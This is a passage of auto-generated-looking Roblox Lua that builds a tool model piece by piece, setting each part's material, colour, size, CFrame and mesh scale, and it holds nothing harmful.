  3430. BlockMesh280.Parent = Part279
  3431. BlockMesh280.Offset = Vector3.new(-0.180000007, 0.00900000054, 0)
  3432. BlockMesh280.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3433. BlockMesh280.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3434. Part281.Parent = Tool0
  3435. Part281.Material = Enum.Material.SmoothPlastic
  3436. Part281.BrickColor = BrickColor.new("Dark stone grey")
  3437. Part281.Rotation = Vector3.new(0, 89.4599991, 180)
  3438. Part281.Anchored = true
  3439. Part281.FormFactor = Enum.FormFactor.Custom
  3440. Part281.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3441. Part281.CFrame = CFrame.new(27.02771, 1.67529297, 140.148438, -0.00939145684, -4.35706298e-08, 0.999955893, -1.4781123e-08, -0.99999994, -4.37113812e-08, 0.999955773, -1.51909649e-08, 0.00939150155)
  3442. Part281.BottomSurface = Enum.SurfaceType.Smooth
  3443. Part281.TopSurface = Enum.SurfaceType.Smooth
  3444. Part281.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3445. Part281.Position = Vector3.new(27.02771, 1.67529297, 140.148438)
  3446. Part281.Orientation = Vector3.new(0, 89.4599991, -180)
  3447. Part281.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3448. SpecialMesh282.Parent = Part281
  3449. SpecialMesh282.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3450. SpecialMesh282.MeshType = Enum.MeshType.Wedge
  3451. SpecialMesh282.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3452. Part283.Parent = Tool0
  3453. Part283.Material = Enum.Material.SmoothPlastic
  3454. Part283.BrickColor = BrickColor.new("Really black")
  3455. Part283.Rotation = Vector3.new(-180, 0.539999962, -180)
  3456. Part283.Anchored = true
  3457. Part283.FormFactor = Enum.FormFactor.Custom
  3458. Part283.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3459. Part283.CFrame = CFrame.new(26.9016113, 1.336182, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3460. Part283.BottomSurface = Enum.SurfaceType.Smooth
  3461. Part283.TopSurface = Enum.SurfaceType.Smooth
  3462. Part283.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3463. Part283.Position = Vector3.new(26.9016113, 1.336182, 139.550354)
  3464. Part283.Orientation = Vector3.new(0, 179.459991, 0)
  3465. Part283.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3466. BlockMesh284.Parent = Part283
  3467. BlockMesh284.Offset = Vector3.new(-0.180000007, 0, 0)
  3468. BlockMesh284.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
  3469. BlockMesh284.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
  3470. Part285.Parent = Tool0
  3471. Part285.Material = Enum.Material.SmoothPlastic
  3472. Part285.BrickColor = BrickColor.new("Really black")
  3473. Part285.Rotation = Vector3.new(-180, 0.539999962, -180)
  3474. Part285.Anchored = true
  3475. Part285.FormFactor = Enum.FormFactor.Custom
  3476. Part285.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3477. Part285.CFrame = CFrame.new(26.9016113, 1.36621106, 139.550354, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3478. Part285.BottomSurface = Enum.SurfaceType.Smooth
  3479. Part285.TopSurface = Enum.SurfaceType.Smooth
  3480. Part285.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3481. Part285.Position = Vector3.new(26.9016113, 1.36621106, 139.550354)
  3482. Part285.Orientation = Vector3.new(0, 179.459991, 0)
  3483. Part285.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3484. BlockMesh286.Parent = Part285
  3485. BlockMesh286.Offset = Vector3.new(-0.180000007, 0.00900000054, 0)
  3486. BlockMesh286.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3487. BlockMesh286.Scale = Vector3.new(0.764999986, 0.0749999955, 1)
  3488. Part287.Parent = Tool0
  3489. Part287.Material = Enum.Material.SmoothPlastic
  3490. Part287.BrickColor = BrickColor.new("Really black")
  3491. Part287.Rotation = Vector3.new(-180, 0.539999962, -180)
  3492. Part287.Anchored = true
  3493. Part287.FormFactor = Enum.FormFactor.Custom
  3494. Part287.Size = Vector3.new(0.200000003, 0.200000003, 0.330000013)
  3495. Part287.CFrame = CFrame.new(26.8973389, 1.336182, 139.970337, -0.999955833, 3.56089729e-15, 0.00939133763, -3.55271368e-15, 0.999999881, 8.8817842e-16, -0.00939165056, -8.54773505e-16, -0.999955535)
  3496. Part287.BottomSurface = Enum.SurfaceType.Smooth
  3497. Part287.TopSurface = Enum.SurfaceType.Smooth
  3498. Part287.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3499. Part287.Position = Vector3.new(26.8973389, 1.336182, 139.970337)
  3500. Part287.Orientation = Vector3.new(0, 179.459991, 0)
  3501. Part287.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3502. BlockMesh288.Parent = Part287
  3503. BlockMesh288.Offset = Vector3.new(-0.180000007, 0, 0)
  3504. BlockMesh288.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
  3505. BlockMesh288.Scale = Vector3.new(1.35000002, 0.0749999955, 1)
  3506. Part289.Parent = Tool0
  3507. Part289.Material = Enum.Material.SmoothPlastic
  3508. Part289.BrickColor = BrickColor.new("Dark stone grey")
  3509. Part289.Rotation = Vector3.new(-180, -89.4599991, -180)
  3510. Part289.Anchored = true
  3511. Part289.FormFactor = Enum.FormFactor.Custom
  3512. Part289.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3513. Part289.CFrame = CFrame.new(27.0336914, 1.67529297, 140.148499, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
  3514. Part289.BottomSurface = Enum.SurfaceType.Smooth
  3515. Part289.TopSurface = Enum.SurfaceType.Smooth
  3516. Part289.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3517. Part289.Position = Vector3.new(27.0336914, 1.67529297, 140.148499)
  3518. Part289.Orientation = Vector3.new(0, -90.5400009, 0)
  3519. Part289.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3520. SpecialMesh290.Parent = Part289
  3521. SpecialMesh290.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3522. SpecialMesh290.MeshType = Enum.MeshType.Wedge
  3523. SpecialMesh290.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3524. Part291.Parent = Tool0
  3525. Part291.Material = Enum.Material.SmoothPlastic
  3526. Part291.BrickColor = BrickColor.new("Dark stone grey")
  3527. Part291.Rotation = Vector3.new(0, 89.4599991, 0)
  3528. Part291.Anchored = true
  3529. Part291.FormFactor = Enum.FormFactor.Custom
  3530. Part291.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3531. Part291.CFrame = CFrame.new(27.118042, 1.67529297, 140.149475, 0.00939139724, -1.8716446e-07, 0.999955833, 2.35526358e-07, 0.999999821, -1.59576587e-07, -0.999955356, 2.33778906e-07, 0.00939165056)
  3532. Part291.BottomSurface = Enum.SurfaceType.Smooth
  3533. Part291.TopSurface = Enum.SurfaceType.Smooth
  3534. Part291.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3535. Part291.Position = Vector3.new(27.118042, 1.67529297, 140.149475)
  3536. Part291.Orientation = Vector3.new(0, 89.4599991, 0)
  3537. Part291.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3538. SpecialMesh292.Parent = Part291
  3539. SpecialMesh292.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3540. SpecialMesh292.MeshType = Enum.MeshType.Wedge
  3541. SpecialMesh292.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3542. Part293.Parent = Tool0
  3543. Part293.Material = Enum.Material.SmoothPlastic
  3544. Part293.BrickColor = BrickColor.new("Dark stone grey")
  3545. Part293.Rotation = Vector3.new(-180, -89.4599991, 0)
  3546. Part293.Anchored = true
  3547. Part293.FormFactor = Enum.FormFactor.Custom
  3548. Part293.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3549. Part293.CFrame = CFrame.new(27.1236572, 1.67529297, 140.149292, 0.00939139724, 2.48428307e-07, -0.999955833, 2.35526358e-07, -0.999999821, 2.20843248e-07, -0.999955356, -2.33203508e-07, -0.00939165056)
  3550. Part293.BottomSurface = Enum.SurfaceType.Smooth
  3551. Part293.TopSurface = Enum.SurfaceType.Smooth
  3552. Part293.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3553. Part293.Position = Vector3.new(27.1236572, 1.67529297, 140.149292)
  3554. Part293.Orientation = Vector3.new(0, -90.5400009, 180)
  3555. Part293.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3556. SpecialMesh294.Parent = Part293
  3557. SpecialMesh294.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3558. SpecialMesh294.MeshType = Enum.MeshType.Wedge
  3559. SpecialMesh294.Scale = Vector3.new(0.180000007, 0.149999991, 0.0299999993)
  3560. Part295.Parent = Tool0
  3561. Part295.Material = Enum.Material.SmoothPlastic
  3562. Part295.BrickColor = BrickColor.new("Dark stone grey")
  3563. Part295.Rotation = Vector3.new(0, -0.539999962, 0)
  3564. Part295.Anchored = true
  3565. Part295.FormFactor = Enum.FormFactor.Custom
  3566. Part295.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3567. Part295.CFrame = CFrame.new(27.0336914, 1.64526403, 140.148499, 0.999955833, 4.35706333e-08, -0.00939139724, -4.37113776e-08, 0.999999821, -1.47811212e-08, 0.00939165056, 1.51909632e-08, 0.999955356)
  3568. Part295.BottomSurface = Enum.SurfaceType.Smooth
  3569. Part295.TopSurface = Enum.SurfaceType.Smooth
  3570. Part295.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3571. Part295.Position = Vector3.new(27.0336914, 1.64526403, 140.148499)
  3572. Part295.Orientation = Vector3.new(0, -0.539999962, 0)
  3573. Part295.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3574. BlockMesh296.Parent = Part295
  3575. BlockMesh296.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
  3576. BlockMesh296.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
  3577. Part297.Parent = Tool0
  3578. Part297.Material = Enum.Material.SmoothPlastic
  3579. Part297.BrickColor = BrickColor.new("Dark stone grey")
  3580. Part297.Rotation = Vector3.new(0, -0.539999962, 0)
  3581. Part297.Anchored = true
  3582. Part297.FormFactor = Enum.FormFactor.Custom
  3583. Part297.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3584. Part297.CFrame = CFrame.new(27.118042, 1.64526403, 140.149475, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  3585. Part297.BottomSurface = Enum.SurfaceType.Smooth
  3586. Part297.TopSurface = Enum.SurfaceType.Smooth
  3587. Part297.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3588. Part297.Position = Vector3.new(27.118042, 1.64526403, 140.149475)
  3589. Part297.Orientation = Vector3.new(0, -0.539999962, 0)
  3590. Part297.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3591. BlockMesh298.Parent = Part297
  3592. BlockMesh298.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
  3593. BlockMesh298.Scale = Vector3.new(0.0299999993, 0.149999991, 0.180000827)
  3594. Part299.Parent = Tool0
  3595. Part299.Material = Enum.Material.SmoothPlastic
  3596. Part299.BrickColor = BrickColor.new("Dark stone grey")
  3597. Part299.Rotation = Vector3.new(0, -0.539999962, 0)
  3598. Part299.Anchored = true
  3599. Part299.FormFactor = Enum.FormFactor.Custom
  3600. Part299.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3601. Part299.CFrame = CFrame.new(27.0756836, 1.66015601, 140.148926, 0.999955833, -1.8716446e-07, -0.00939139724, -1.59576587e-07, 0.999999821, -2.35526358e-07, 0.00939165056, 2.33778906e-07, 0.999955356)
  3602. Part299.BottomSurface = Enum.SurfaceType.Smooth
  3603. Part299.TopSurface = Enum.SurfaceType.Smooth
  3604. Part299.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3605. Part299.Position = Vector3.new(27.0756836, 1.66015601, 140.148926)
  3606. Part299.Orientation = Vector3.new(0, -0.539999962, 0)
  3607. Part299.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3608. BlockMesh300.Parent = Part299
  3609. BlockMesh300.Scale = Vector3.new(0.0299999993, 0.299999982, 0.180000827)
  3610. BlockMesh300.Scale = Vector3.new(0.0299999993, 0.299999982, 0.180000827)
  3611. Part301.Parent = Tool0
  3612. Part301.Material = Enum.Material.SmoothPlastic
  3613. Part301.BrickColor = BrickColor.new("Dark stone grey")
  3614. Part301.Rotation = Vector3.new(0, 89.4599991, 0)
  3615. Part301.Anchored = true
  3616. Part301.FormFactor = Enum.FormFactor.Custom
  3617. Part301.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3618. Part301.CFrame = CFrame.new(27.069458, 1.66015601, 140.148804, 0.00939139724, -1.8716446e-07, 0.999955833, 2.35526358e-07, 0.999999821, -1.59576587e-07, -0.999955356, 2.33778906e-07, 0.00939165056)
  3619. Part301.BottomSurface = Enum.SurfaceType.Smooth
  3620. Part301.TopSurface = Enum.SurfaceType.Smooth
  3621. Part301.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3622. Part301.Position = Vector3.new(27.069458, 1.66015601, 140.148804)
  3623. Part301.Orientation = Vector3.new(0, 89.4599991, 0)
  3624. Part301.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3625. SpecialMesh302.Parent = Part301
  3626. SpecialMesh302.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
  3627. SpecialMesh302.MeshType = Enum.MeshType.Wedge
  3628. SpecialMesh302.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
  3629. Part303.Parent = Tool0
  3630. Part303.Material = Enum.Material.SmoothPlastic
  3631. Part303.BrickColor = BrickColor.new("Dark stone grey")
  3632. Part303.Rotation = Vector3.new(-180, -89.4599991, 180)
  3633. Part303.Anchored = true
  3634. Part303.FormFactor = Enum.FormFactor.Custom
  3635. Part303.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3636. Part303.CFrame = CFrame.new(27.0811768, 1.66015601, 140.149109, -0.00939139724, -2.17796412e-07, -0.999955833, -2.35526358e-07, 0.999999821, 1.90209889e-07, 0.999955356, 2.33491207e-07, -0.00939165056)
  3637. Part303.BottomSurface = Enum.SurfaceType.Smooth
  3638. Part303.TopSurface = Enum.SurfaceType.Smooth
  3639. Part303.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3640. Part303.Position = Vector3.new(27.0811768, 1.66015601, 140.149109)
  3641. Part303.Orientation = Vector3.new(0, -90.5400009, 0)
  3642. Part303.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3643. SpecialMesh304.Parent = Part303
  3644. SpecialMesh304.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
  3645. SpecialMesh304.MeshType = Enum.MeshType.Wedge
  3646. SpecialMesh304.Scale = Vector3.new(0.180000007, 0.299999982, 0.0299999993)
  3647. Part305.Parent = Tool0
  3648. Part305.Material = Enum.Material.SmoothPlastic
  3649. Part305.BrickColor = BrickColor.new("Dark stone grey")
  3650. Part305.Rotation = Vector3.new(0, -0.539999962, 0)
  3651. Part305.Anchored = true
  3652. Part305.FormFactor = Enum.FormFactor.Custom
  3653. Part305.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3654. Part305.CFrame = CFrame.new(27.0756836, 1.54028296, 140.148926, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  3655. Part305.BottomSurface = Enum.SurfaceType.Smooth
  3656. Part305.TopSurface = Enum.SurfaceType.Smooth
  3657. Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3658. Part305.Position = Vector3.new(27.0756836, 1.54028296, 140.148926)
  3659. Part305.Orientation = Vector3.new(0, -0.539999962, 0)
  3660. Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3661. BlockMesh306.Parent = Part305
  3662. BlockMesh306.Scale = Vector3.new(0.450000018, 0.900000036, 0.180000827)
  3663. BlockMesh306.Scale = Vector3.new(0.450000018, 0.900000036, 0.180000827)
  3664. Part307.Parent = Tool0
  3665. Part307.Material = Enum.Material.SmoothPlastic
  3666. Part307.BrickColor = BrickColor.new("Dark stone grey")
  3667. Part307.Rotation = Vector3.new(0, -0.539999962, 0)
  3668. Part307.Anchored = true
  3669. Part307.FormFactor = Enum.FormFactor.Custom
  3670. Part307.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3671. Part307.CFrame = CFrame.new(27.0330811, 1.60620105, 138.321472, 0.999955833, -2.45538843e-08, -0.00939139724, -1.02097069e-07, 0.999999821, -3.55030458e-08, 0.00939165056, 3.52667371e-08, 0.999955356)
  3672. Part307.BottomSurface = Enum.SurfaceType.Smooth
  3673. Part307.TopSurface = Enum.SurfaceType.Smooth
  3674. Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3675. Part307.Position = Vector3.new(27.0330811, 1.60620105, 138.321472)
  3676. Part307.Orientation = Vector3.new(0, -0.539999962, 0)
  3677. Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3678. BlockMesh308.Parent = Part307
  3679. BlockMesh308.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
  3680. BlockMesh308.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
  3681. Part309.Parent = Tool0
  3682. Part309.Material = Enum.Material.SmoothPlastic
  3683. Part309.BrickColor = BrickColor.new("Dark stone grey")
  3684. Part309.Rotation = Vector3.new(0, -0.539999962, 0)
  3685. Part309.Anchored = true
  3686. Part309.FormFactor = Enum.FormFactor.Custom
  3687. Part309.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3688. Part309.CFrame = CFrame.new(27.1530762, 1.60620105, 138.323853, 0.999955833, -9.16734137e-08, -0.00939139724, -1.613449e-07, 0.999999821, -4.10036698e-08, 0.00939165056, 4.01372162e-08, 0.999955356)
  3689. Part309.BottomSurface = Enum.SurfaceType.Smooth
  3690. Part309.TopSurface = Enum.SurfaceType.Smooth
  3691. Part309.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3692. Part309.Position = Vector3.new(27.1530762, 1.60620105, 138.323853)
  3693. Part309.Orientation = Vector3.new(0, -0.539999962, 0)
  3694. Part309.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3695. BlockMesh310.Parent = Part309
  3696. BlockMesh310.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
  3697. BlockMesh310.Scale = Vector3.new(0.149999991, 0.540000021, 0.330000818)
  3698. Part311.Parent = Tool0
  3699. Part311.Material = Enum.Material.SmoothPlastic
  3700. Part311.BrickColor = BrickColor.new("Dark stone grey")
  3701. Part311.Rotation = Vector3.new(0, 89.4599991, -180)
  3702. Part311.Anchored = true
  3703. Part311.FormFactor = Enum.FormFactor.Custom
  3704. Part311.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3705. Part311.CFrame = CFrame.new(27.0330811, 1.53710902, 138.321472, -0.00939139724, 9.964117e-08, 0.999955833, 4.65915591e-08, -0.999999583, -1.52554577e-07, 0.999955356, 4.74784869e-08, 0.00939165056)
  3706. Part311.BottomSurface = Enum.SurfaceType.Smooth
  3707. Part311.TopSurface = Enum.SurfaceType.Smooth
  3708. Part311.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3709. Part311.Position = Vector3.new(27.0330811, 1.53710902, 138.321472)
  3710. Part311.Orientation = Vector3.new(0, 89.4599991, 180)
  3711. Part311.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3712. SpecialMesh312.Parent = Part311
  3713. SpecialMesh312.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
  3714. SpecialMesh312.MeshType = Enum.MeshType.Wedge
  3715. SpecialMesh312.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
  3716. Part313.Parent = Tool0
  3717. Part313.Material = Enum.Material.SmoothPlastic
  3718. Part313.BrickColor = BrickColor.new("Dark stone grey")
  3719. Part313.Rotation = Vector3.new(-180, -89.4599991, 0)
  3720. Part313.Anchored = true
  3721. Part313.FormFactor = Enum.FormFactor.Custom
  3722. Part313.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3723. Part313.CFrame = CFrame.new(27.15271, 1.53710902, 138.322876, 0.00939139724, 9.96410279e-08, -0.999955833, -4.65770071e-08, -0.999999702, 1.52554605e-07, -0.999955356, 4.74930104e-08, -0.00939165056)
  3724. Part313.BottomSurface = Enum.SurfaceType.Smooth
  3725. Part313.TopSurface = Enum.SurfaceType.Smooth
  3726. Part313.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3727. Part313.Position = Vector3.new(27.15271, 1.53710902, 138.322876)
  3728. Part313.Orientation = Vector3.new(0, -90.5400009, -180)
  3729. Part313.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3730. SpecialMesh314.Parent = Part313
  3731. SpecialMesh314.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
  3732. SpecialMesh314.MeshType = Enum.MeshType.Wedge
  3733. SpecialMesh314.Scale = Vector3.new(0.329999983, 0.149999037, 0.149996936)
  3734. Part315.Parent = Tool0
  3735. Part315.Material = Enum.Material.SmoothPlastic
  3736. Part315.BrickColor = BrickColor.new("Dark stone grey")
  3737. Part315.Rotation = Vector3.new(0, -0.539999962, 0)
  3738. Part315.Anchored = true
  3739. Part315.FormFactor = Enum.FormFactor.Custom
  3740. Part315.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3741. Part315.CFrame = CFrame.new(27.0926514, 1.51025403, 138.32196, 0.999955833, -2.45538843e-08, -0.00939139724, -1.02097069e-07, 0.999999821, -3.55030458e-08, 0.00939165056, 3.52667371e-08, 0.999955356)
  3742. Part315.BottomSurface = Enum.SurfaceType.Smooth
  3743. Part315.TopSurface = Enum.SurfaceType.Smooth
  3744. Part315.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3745. Part315.Position = Vector3.new(27.0926514, 1.51025403, 138.32196)
  3746. Part315.Orientation = Vector3.new(0, -0.539999962, 0)
  3747. Part315.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3748. BlockMesh316.Parent = Part315
  3749. BlockMesh316.Scale = Vector3.new(0.450000018, 0.599999964, 0.330000818)
  3750. BlockMesh316.Scale = Vector3.new(0.450000018, 0.599999964, 0.330000818)
  3751. Part317.Parent = Tool0
  3752. Part317.Material = Enum.Material.SmoothPlastic
  3753. Part317.Rotation = Vector3.new(90, 0, -89.4599991)
  3754. Part317.Anchored = true
  3755. Part317.FormFactor = Enum.FormFactor.Custom
  3756. Part317.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3757. Part317.CFrame = CFrame.new(27.0925293, 1.60913098, 138.346024, 0.00939130783, 0.999955833, 1.70753026e-07, 1.92485512e-08, -5.04777447e-08, -0.999999583, -0.999955118, 0.00939165056, -1.76384845e-08)
  3758. Part317.BottomSurface = Enum.SurfaceType.Smooth
  3759. Part317.TopSurface = Enum.SurfaceType.Smooth
  3760. Part317.Position = Vector3.new(27.0925293, 1.60913098, 138.346024)
  3761. Part317.Orientation = Vector3.new(89.9499969, 95.9000015, 159.12999)
  3762. CylinderMesh318.Parent = Part317
  3763. CylinderMesh318.Scale = Vector3.new(0.180000007, 0.450000137, 0.150000781)
  3764. CylinderMesh318.Scale = Vector3.new(0.180000007, 0.450000137, 0.150000781)
  3765. Part319.Parent = Tool0
  3766. Part319.Material = Enum.Material.SmoothPlastic
  3767. Part319.BrickColor = BrickColor.new("Dark stone grey")
  3768. Part319.Rotation = Vector3.new(0, -0.539999962, 0)
  3769. Part319.Anchored = true
  3770. Part319.FormFactor = Enum.FormFactor.Custom
  3771. Part319.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3772. Part319.CFrame = CFrame.new(27.0330811, 1.47119105, 138.321472, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  3773. Part319.BottomSurface = Enum.SurfaceType.Smooth
  3774. Part319.TopSurface = Enum.SurfaceType.Smooth
  3775. Part319.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3776. Part319.Position = Vector3.new(27.0330811, 1.47119105, 138.321472)
  3777. Part319.Orientation = Vector3.new(0, -0.539999962, 0)
  3778. Part319.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3779. BlockMesh320.Parent = Part319
  3780. BlockMesh320.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
  3781. BlockMesh320.Scale = Vector3.new(0.149999991, 0.209999979, 0.450000882)
  3782. Part321.Parent = Tool0
  3783. Part321.Material = Enum.Material.SmoothPlastic
  3784. Part321.BrickColor = BrickColor.new("Dark stone grey")
  3785. Part321.Rotation = Vector3.new(90, 0, -89.4599991)
  3786. Part321.Anchored = true
  3787. Part321.FormFactor = Enum.FormFactor.Custom
  3788. Part321.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3789. Part321.CFrame = CFrame.new(27.0925293, 1.58227503, 138.346024, 0.00939130783, 0.999955833, 1.70753026e-07, 1.92485512e-08, -5.04777447e-08, -0.999999583, -0.999955118, 0.00939165056, -1.76384845e-08)
  3790. Part321.BottomSurface = Enum.SurfaceType.Smooth
  3791. Part321.TopSurface = Enum.SurfaceType.Smooth
  3792. Part321.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3793. Part321.Position = Vector3.new(27.0925293, 1.58227503, 138.346024)
  3794. Part321.Orientation = Vector3.new(89.9499969, 95.9000015, 159.12999)
  3795. Part321.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3796. CylinderMesh322.Parent = Part321
  3797. CylinderMesh322.Offset = Vector3.new(0, 0, -0.0269999988)
  3798. CylinderMesh322.Scale = Vector3.new(0.180000007, 0.225000009, 0.239999995)
  3799. CylinderMesh322.Scale = Vector3.new(0.180000007, 0.225000009, 0.239999995)
  3800. Part323.Parent = Tool0
  3801. Part323.Material = Enum.Material.SmoothPlastic
  3802. Part323.BrickColor = BrickColor.new("Dark stone grey")
  3803. Part323.Rotation = Vector3.new(90.5400009, -45, -89.2399979)
  3804. Part323.Anchored = true
  3805. Part323.FormFactor = Enum.FormFactor.Custom
  3806. Part323.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3807. Part323.CFrame = CFrame.new(27.1077881, 1.63916004, 138.346252, 0.00939139724, 0.707075477, -0.707075417, 3.55030458e-08, -0.70710659, -0.707106471, -0.999955356, 0.00664065778, -0.00664073229)
  3808. Part323.BottomSurface = Enum.SurfaceType.Smooth
  3809. Part323.TopSurface = Enum.SurfaceType.Smooth
  3810. Part323.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3811. Part323.Position = Vector3.new(27.1077881, 1.63916004, 138.346252)
  3812. Part323.Orientation = Vector3.new(45, -90.5400009, 180)
  3813. Part323.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3814. BlockMesh324.Parent = Part323
  3815. BlockMesh324.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
  3816. BlockMesh324.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.23624517)
  3817. Part325.Parent = Tool0
  3818. Part325.Material = Enum.Material.SmoothPlastic
  3819. Part325.BrickColor = BrickColor.new("Dark stone grey")
  3820. Part325.Rotation = Vector3.new(-90.5400009, -45, 89.2399979)
  3821. Part325.Anchored = true
  3822. Part325.FormFactor = Enum.FormFactor.Custom
  3823. Part325.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  3824. Part325.CFrame = CFrame.new(27.1077881, 1.66210902, 138.346252, 0.00939139724, -0.707075417, -0.707075477, 3.55030458e-08, -0.707106471, 0.70710659, -0.999955356, -0.00664073229, -0.00664065778)
  3825. Part325.BottomSurface = Enum.SurfaceType.Smooth
  3826. Part325.TopSurface = Enum.SurfaceType.Smooth
  3827. Part325.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3828. Part325.Position = Vector3.new(27.1077881, 1.66210902, 138.346252)
  3829. Part325.Orientation = Vector3.new(-45, -90.5400009, 180)
  3830. Part325.Color = Color3.new(0.388235, 0.372549, 0.384314)
  3831. BlockMesh326.Parent = Part325
  3832. BlockMesh326.Offset = Vector3.new(0, 0, 0.00300000003)
  3833. BlockMesh326.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
  3834. BlockMesh326.Scale = Vector3.new(0.0599999987, 0.0749999955, 0.254999995)
  3835. Part327.Parent = Tool0
  3836. Part327.Material = Enum.Material.SmoothPlastic
  3837. Part327.BrickColor = BrickColor.new("Dark stone grey")
  3838. Part327.Rotation = Vector3.new(0, -0.539999962, 0)
  3839. Part327.Anchored = true
  3840. Part327.FormFactor = Enum.FormFactor.Custom
  3841. Part327.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
